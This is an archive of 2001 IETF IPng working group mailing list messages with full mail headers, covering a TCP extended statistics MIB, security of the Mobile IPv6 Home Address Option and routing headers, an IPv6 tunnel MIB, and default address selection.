Dec 2001 12:06:25 -0500 X-Authentication-Warning: localhost.psc.edu: mathis owned process doing -bs Date: Wed, 5 Dec 2001 12:06:25 -0500 (EST) From: Matt Mathis To: cc: , Subject: Heads up: TCP MIB extentions Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY=NextPart Content-ID: Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --NextPart Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: Please note the attached Internet draft announcement. It describes an extended TCP MIB, designed to provide a direct way to query TCP connections to diagnose performance problems. I hope to introduce this as a work item for tsvwg. The complication is that RFC2012 is already under revision by inpnwg, mostly to update the connection table to support IPv6 addresses. See: http://www.ietf.org/internet-drafts/draft-ietf-ipngwg-rfc2012-update-01.txt I expect that most of the discussion at the IETF will be about process. Thanks, --MM-- ---------- Forwarded message ---------- Date: Thu, 15 Nov 2001 07:05:51 -0500 From: Internet-Drafts@ietf.org To: IETF-Announce: ; Subject: I-D ACTION:draft-mathis-rfc2012-extension-00.txt A New Internet-Draft is available from the on-line Internet-Drafts directories. Title : TCP Extended Statistics MIB Author(s) : M. Mathis, R. Reddy, J. Heffner, J. Saperia Filename : draft-mathis-rfc2012-extension-00.txt Pages : 49 Date : 14-Nov-01 This draft describes extended performance statistics for TCP. They are designed to use TCP's ideal vantage point to diagnose performance problems in both the network and the application. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-mathis-rfc2012-extension-00.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-mathis-rfc2012-extension-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-mathis-rfc2012-extension-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: MULTIPART/ALTERNATIVE; BOUNDARY=OtherAccess Content-ID: Content-Description: This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --OtherAccess Content-Type: MESSAGE/EXTERNAL-BODY; ACCESS-TYPE=mail-server; SERVER="mailserv@ietf.org" Content-ID: --OtherAccess Content-Type: MESSAGE/EXTERNAL-BODY; NAME="draft-mathis-rfc2012-extension-00.txt"; SITE="ftp.ietf.org"; ACCESS-TYPE=anon-ftp; DIRECTORY=internet-drafts Content-ID: --OtherAccess-- --NextPart-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 7 10:40:44 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB7IeivU000962 for ; Fri, 7 Dec 2001 10:40:44 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB7IeiA2000961 for ipng-dist; Fri, 7 Dec 2001 10:40:44 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB7IegvU000954 for ; Fri, 7 Dec 2001 10:40:42 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fB7IeLNE009397 for ; Fri, 7 Dec 2001 10:40:21 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fB7IeLH5009396 for ipng@sunroof.eng.sun.com; Fri, 7 Dec 2001 10:40:21 -0800 (PST) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB5Mt5Ht012810 for ; Wed, 5 Dec 2001 14:55:05 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA29571 for ; Wed, 5 Dec 2001 14:55:05 -0800 (PST) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA15578 for ; Wed, 5 Dec 2001 15:55:05 -0700 (MST) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id OAA07001 for ; Wed, 5 Dec 2001 14:55:05 -0800 (PST) X-Delivered-For: Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fB5Mt4e20910 for ; Wed, 5 Dec 2001 14:55:04 -0800 X-mProtect: Wed, 5 Dec 2001 14:55:04 -0800 Nokia Silicon Valley Messaging Protection Received: from jmalinen.iprg.nokia.com (205.226.2.98) by darkstar.iprg.nokia.com(P1.5 smtpdaW44Mc; Wed, 05 Dec 2001 14:55:03 PST Received: from iprg.nokia.com (localhost [127.0.0.1]) by jmalinen.iprg.nokia.com (8.9.3/8.6.12) with ESMTP id OAA22021 for ; Wed, 5 Dec 2001 14:55:02 -0800 (PST) Message-ID: <3C0EA5C6.ADD01F1A@iprg.nokia.com> Date: Wed, 05 Dec 2001 14:55:02 -0800 From: "Jari T. Malinen" Organization: Nokia X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 CC: ipng@sunroof.eng.sun.com Subject: Re: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt References: <001301c17a78$1d697800$8a1b6e0a@arenanet.fi> <3C0BD166.8CED30C7@iprg.nokia.com> <3C0C8EC7.79DD8FB9@hursley.ibm.com> <3C0D170F.E3D28E94@iprg.nokia.com> <15373.6491.371188.449329@thomasm-u1.cisco.com> <3C0DB6DE.A52D0019@iprg.nokia.com> <15374.26819.630128.842441@thomasm-u1.cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Mike, > > One issue on the table in mobileip is the scalability of key distribution in > > infrastructureless case. Changing tunneling format is an orthogonal > > issue to this and I have not understood what so far unsolvable > > would such a change achieve. Proposals by people working in security > > providing "weak authentication" e.g. based on return routability, > > have appeared and been under scrutiny. > > Jari, > > I agree that the tunnel format is orthogonal to > the security question. I think that what Pekka and > others have been pointing out is that the HAO is, > in fact, another form of bits-on-the-wire > optimized tunnel, much like the routing header. > While the actual way you encode these tunnels is > orthogonal as you point out, I think that what has > been neglected is the security considerations of > the HAO qua tunnel, until Pekka brought this up. > It's still a good observation. I am not sure we understand orthogonality the same way, what I meant was that the only real issue with HAO is how to protect it end-to-end always. There is no improvement in this respect if we change HAO to a new extension header. The security issue is not HAO-specific, we need to protect any header carrying the HAddr against cases brought up by Pekka. > What I gather that Steve is bringing up is that > maybe we wouldn't have been lulled about the > possible dangers of the HAO for so long if it had > been more obvious that the HAO was a tunnel, and > that maybe this would be better to solve once and > for all. I think that idea has some merit, because > creating any-any tunnels may well have other uses > beyond mobile IP. As said, a nice idea. However, the case of ignoring HAO is not true; before PKI was not considered globally scalable it was possible to say we can always use IPsec to protect even the HAO, which is an immutable dst.opt. Hence, once a "weak authentication" method is chosen it is again possible to always protect HAO (as well as even a nicer tunneling header). We still need a MAC field for that and for this there is an easy way. To conclude, dst.hdr is in RFC, the new proposal an individual draft so I'd say it could be something to consider for a second generation of Mobile IPv6, perhaps. > Mike BR, -Jari -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 7 12:03:07 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB7K37vU001716 for ; Fri, 7 Dec 2001 12:03:07 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB7K36MY001715 for ipng-dist; Fri, 7 Dec 2001 12:03:06 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB7K33vU001708 for ; Fri, 7 Dec 2001 12:03:03 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA11984 for ; Fri, 7 Dec 2001 12:03:04 -0800 (PST) Received: from fep01-app.kolumbus.fi (fep01-0.kolumbus.fi [193.229.0.41]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA27521 for ; Fri, 7 Dec 2001 12:02:56 -0800 (PST) Received: from jariws1 ([62.248.238.66]) by fep01-app.kolumbus.fi (InterMail vM.5.01.03.08 201-253-122-118-108-20010628) with SMTP id <20011207200254.MHZW16206.fep01-app.kolumbus.fi@jariws1>; Fri, 7 Dec 2001 22:02:54 +0200 Message-ID: <009101c17f5a$39afeee0$8a1b6e0a@arenanet.fi> From: "Jari Arkko" To: "Jari T. Malinen" Cc: References: <001301c17a78$1d697800$8a1b6e0a@arenanet.fi> <3C0BD166.8CED30C7@iprg.nokia.com> <3C0C8EC7.79DD8FB9@hursley.ibm.com> <3C0D170F.E3D28E94@iprg.nokia.com> <15373.6491.371188.449329@thomasm-u1.cisco.com> <3C0DB6DE.A52D0019@iprg.nokia.com> <15374.26819.630128.842441@thomasm-u1.cisco.com> <3C0EA5C6.ADD01F1A@iprg.nokia.com> Subject: Re: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt Date: Fri, 7 Dec 2001 22:03:23 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > To conclude, dst.hdr is in RFC, > the new proposal an individual draft so I'd say it could be > something to consider for a second generation of Mobile IPv6, > perhaps. Just a clarifying question to make sure I have correctly understood the current situation with the HAO: the DO header is in the basic IPv6 RFCs. However, the format of a specific DO that can be used to carry the Home Address, HAO, is defined in the MIPv6 I-D. I'm asking this because we'd very much like to publish the cellular host draft as an RFC soon, and in order to require the use of the HAO we need not just a resolution to the security worries, but also a reference to some RFC that defines the HAO. Unless I'm mistaken, we currently don't have such an RFC anywhere. Or? Jari -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 7 16:45:41 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB80jfvU003343 for ; Fri, 7 Dec 2001 16:45:41 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB80jfR9003342 for ipng-dist; Fri, 7 Dec 2001 16:45:41 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB80jbvU003332 for ; Fri, 7 Dec 2001 16:45:37 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA24593 for ; Fri, 7 Dec 2001 16:45:38 -0800 (PST) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id RAA16642 for ; Fri, 7 Dec 2001 17:46:12 -0700 (MST) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id QAA07228; Fri, 7 Dec 2001 16:45:35 -0800 (PST) Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fB80jYK29047; Fri, 7 Dec 2001 16:45:34 -0800 X-mProtect: Fri, 7 Dec 2001 16:45:34 -0800 Nokia Silicon Valley Messaging Protection Received: from jmalinen.iprg.nokia.com (205.226.2.98) by darkstar.iprg.nokia.com(P1.5 smtpdbL9jYg; Fri, 07 Dec 2001 16:45:32 PST Received: from iprg.nokia.com (localhost [127.0.0.1]) by jmalinen.iprg.nokia.com (8.9.3/8.6.12) with ESMTP id QAA26383; Fri, 7 Dec 2001 16:45:32 -0800 (PST) Message-ID: <3C1162AC.FC8E0A79@iprg.nokia.com> Date: Fri, 07 Dec 2001 16:45:32 -0800 From: "Jari T. Malinen" Organization: Nokia X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Jari Arkko CC: ipng@sunroof.eng.sun.com Subject: Re: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt References: <001301c17a78$1d697800$8a1b6e0a@arenanet.fi> <3C0BD166.8CED30C7@iprg.nokia.com> <3C0C8EC7.79DD8FB9@hursley.ibm.com> <3C0D170F.E3D28E94@iprg.nokia.com> <15373.6491.371188.449329@thomasm-u1.c Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Jari Arkko wrote: > > > To conclude, dst.hdr is in RFC, > > the new proposal an individual draft so I'd say it could be > > something to consider for a second generation of Mobile IPv6, > > perhaps. > > Just a clarifying question to make sure I have correctly understood > the current situation with the HAO: the DO header is in the basic > IPv6 RFCs. However, the format of a specific DO that can be > used to carry the Home Address, HAO, is defined in the MIPv6 > I-D. I'm asking this because we'd very much like to publish the > cellular host draft as an RFC soon, and in order to require the > use of the HAO we need not just a resolution to the security > worries, but also a reference to some RFC that defines the HAO. > Unless I'm mistaken, we currently don't have such an RFC anywhere. > Or? True, though Mobile IPv6 seems to have a process and timetable to achieve the same goal and also be in last stages of the process. HAO was presented to ipng as a mandatory feature before IPv6 was finalized and it was designed to fill a missing piece of IPv6 functionality to support mobility. At that time it was endorsed by the ipng wg and it ended up in the MIPv6 draft. It has been pretty stable ever since. The only reason it is not yet in RFC is due to non-HAO-format related issues. > Jari BR, -Jari -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 7 22:11:49 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB86BmvU004208 for ; Fri, 7 Dec 2001 22:11:48 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB86BmNJ004207 for ipng-dist; Fri, 7 Dec 2001 22:11:48 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB86BjvU004200 for ; Fri, 7 Dec 2001 22:11:45 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id WAA16533 for ; Fri, 7 Dec 2001 22:11:45 -0800 (PST) Received: from exchange.Ic4ic.com ([194.90.135.194]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with SMTP id XAA19468 for ; Fri, 7 Dec 2001 23:11:44 -0700 (MST) Received: through eSafe SMTP Relay 1007305455; Sat Dec 08 08:13:36 2001 Subject: RE: [L2tpext] IP Tunnel MIB MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Date: Sat, 8 Dec 2001 08:11:41 +0200 content-class: urn:content-classes:message X-MimeOLE: Produced By Microsoft Exchange V6.0.4417.0 Message-ID: <88BC9E379956AE4DB689CC5FF6F5A43D02DE6E@exchange.Ic4ic.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [L2tpext] IP Tunnel MIB Thread-Index: AcF/gc6nD+ubyqOyRHChziaho/v2XgAKs2dw From: "Daniel Feldman" To: "W. Mark Townsley" Cc: , Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id fB86BjvU004201 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Sorry, I wasn't on the L2TPext list back in March... The minimal modification that RFC2667 should suffer in order to be IPv6 compatible would be, of coarse, having the IP address fields changed from 32 to 128 bits. Another possible change would be including the Flow Label field to the TunnelIfEntry (it includes now LocalAddress, RemoteAddress, EncapsMethod, HopLimit, Security and TOS). TOS can be used as traffic class, so just a name change there. -----Original Message----- From: W. Mark Townsley [mailto:townsley@cisco.com] Sent: Saturday, December 08, 2001 2:45 AM To: Daniel Feldman Cc: l2tpext@ietf.org; ipng@sunroof.eng.sun.com Subject: Re: [L2tpext] IP Tunnel MIB Daniel Feldman wrote: > > Dear IPNG and L2TP groups, > RFC 2667 deals with IP Tunnel MIB, which is needed for the L2TP > MIB. However, it only supports IPv4: > > "Finally, this MIB does not support tunnels over non-IPv4 networks > (including IPv6 networks). Management of such tunnels may be supported > by other MIBs." > > Is there any work on such an MIB? Not that I know of. > It is required for having L2TP > over IPv6... I pinged the list back in March about L2TP over IPv6 and received nothing but deafening silence. I would hope that any changes in the MIB to support L2TP over IPv6 would be very, very, minimal. > > Thanks in advance, > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > Daniel Feldman > System Engineer, IC4IC Ltd. > office: +972(4)959-4644 ext. 121 > mobile: +972(55)990-299 > fax: +972(4)959-4944 > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > > _______________________________________________ > L2tpext mailing list > L2tpext@ietf.org > https://www1.ietf.org/mailman/listinfo/l2tpext -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 7 23:06:48 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB876lvU004278 for ; Fri, 7 Dec 2001 23:06:47 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB876lqg004277 for ipng-dist; Fri, 7 Dec 2001 23:06:47 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB876ivU004270 for ; Fri, 7 Dec 2001 23:06:44 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA20681 for ; Fri, 7 Dec 2001 23:06:44 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id AAA27094 for ; Sat, 8 Dec 2001 00:06:43 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fB876cf01936; Sat, 8 Dec 2001 09:06:38 +0200 Date: Sat, 8 Dec 2001 09:06:37 +0200 (EET) From: Pekka Savola To: "Jari T. Malinen" cc: Jari Arkko , Subject: Re: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt In-Reply-To: <3C1162AC.FC8E0A79@iprg.nokia.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Fri, 7 Dec 2001, Jari T. Malinen wrote: > Jari Arkko wrote: > > > > > To conclude, dst.hdr is in RFC, > > > the new proposal an individual draft so I'd say it could be > > > something to consider for a second generation of Mobile IPv6, > > > perhaps. > > > > Just a clarifying question to make sure I have correctly understood > > the current situation with the HAO: the DO header is in the basic > > IPv6 RFCs. However, the format of a specific DO that can be > > used to carry the Home Address, HAO, is defined in the MIPv6 > > I-D. I'm asking this because we'd very much like to publish the > > cellular host draft as an RFC soon, and in order to require the > > use of the HAO we need not just a resolution to the security > > worries, but also a reference to some RFC that defines the HAO. > > Unless I'm mistaken, we currently don't have such an RFC anywhere. > > Or? > > True, though Mobile IPv6 seems to have a process and timetable to > achieve the same goal and also be in last stages of the process. > > HAO was presented to ipng as a mandatory feature before IPv6 was > finalized and it was designed to fill a missing piece of IPv6 > functionality to support mobility. At that time it was endorsed > by the ipng wg and it ended up in the MIPv6 draft. It has been > pretty stable ever since. The only reason it is not yet in RFC is > due to non-HAO-format related issues. Btw, One interesting detail of HAO is that its processing isn't defined anywhere. If you look at MIPv6 draft, the only thing it says about this (AFAICS) is a note in security considerations that it could be implemented like swapping the addresses. I have brought this up in mobile-ip@ but there wasn't any response... -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sat Dec 8 15:46:39 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB8NkdvU005524 for ; Sat, 8 Dec 2001 15:46:39 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB8Nkdvo005523 for ipng-dist; Sat, 8 Dec 2001 15:46:39 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB8NkYvU005516 for ; Sat, 8 Dec 2001 15:46:35 -0800 (PST) Received: from lillen (hobo078.Eng.Sun.COM [129.146.31.78]) by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fB8NkPq11216; Sun, 9 Dec 2001 00:46:25 +0100 (MET) Date: Sun, 9 Dec 2001 00:44:48 +0100 (CET) From: Erik Nordmark Reply-To: Erik Nordmark Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt To: "Jari T. Malinen" Cc: Brian Zill , Pekka Savola , Francis Dupont , Brian E Carpenter , "Hesham Soliman (ERA)" , ipng@sunroof.eng.sun.com Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > It seems that in mobileip wg, reflector attack scenarios were > identified for routing headers in Savola's draft. One solution, > which seems to me feasible to implement (no state needed), > was to mandate segments left to 1 and check that the address > in the routing header is owned by the receiving MN host. > Seems these scenarios are not necessarily mobileip-specific. > I am wondering, are routing headers in this wg considered > a special-purpose mechanism that cannot be used? While such a check is reasonable for a host, a firewall can't actually check this since it doesn't know the relationship between Care of Addresses and Home Addresses. I don't know how significant this issue is but given the concerns expressed in Savola's draft about allowing general routing headers through firewalls it seems worth-while to think about this and not immediately dismiss it - having a separate packet format for routing headers (specifying addresses of one ore more hops) from the ability to specify an extra IP address for the destination *might* be the better thing to do. > For home address options there are sections in Arkko's second > draft in mobileip where it is recommended them always to be protected > and (indirectly) to support both weak and strong authentication. Yep. Erik -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Dec 9 00:29:13 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB98TCvU006957 for ; Sun, 9 Dec 2001 00:29:12 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB98TChP006956 for ipng-dist; Sun, 9 Dec 2001 00:29:12 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB98T8vU006949 for ; Sun, 9 Dec 2001 00:29:08 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA25698 for ; Sun, 9 Dec 2001 00:29:10 -0800 (PST) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id AAA13217 for ; Sun, 9 Dec 2001 00:29:08 -0800 (PST) Received: from localhost ([3ffe:501:100f:13ff::a]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id fB98Sb376120; Sun, 9 Dec 2001 17:28:38 +0900 (JST) Date: Sun, 09 Dec 2001 17:28:28 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Robert Elz Cc: ipng@sunroof.eng.sun.com Subject: Re: "Default Address Selection for IPv6" In-Reply-To: <3575.1007719937@brandenburg.cs.mu.OZ.AU> References: <5.1.0.14.0.20011206220240.01d60170@jurassic.eng.sun.com> <3575.1007719937@brandenburg.cs.mu.OZ.AU> User-Agent: Wanderlust/2.7.5 (Too Funky) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 980905(IM100) Lines: 51 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Fri, 07 Dec 2001 17:12:17 +0700, >>>>> Robert Elz said: > | is in my opinion more suitable than sorting interfaces on the particular > | brand of NIC card they are using. > There's certainly nothing to commend using the MAC addresses, other than > that they simplify the algorithm (no special cases), and most particularly > avoid building in any knowledge of 64 in places where it does not belong. > If you can specify this such that it actually uses the currently configured > prefix lengths (no mention of the number 64 anywhere) and actually find a > way to make the outcome predictable, then I'd be more inclined to accept it > as a reasonable change. Otherwise not. I agree with kre as for hardcoding 64; it's better to use the configured prefix length (which may or may not be equal to 64). However, I'd rather think longest matching is meaningless in the destination address ordering, especially with this generalization. For example consider the following configuration: A host has two 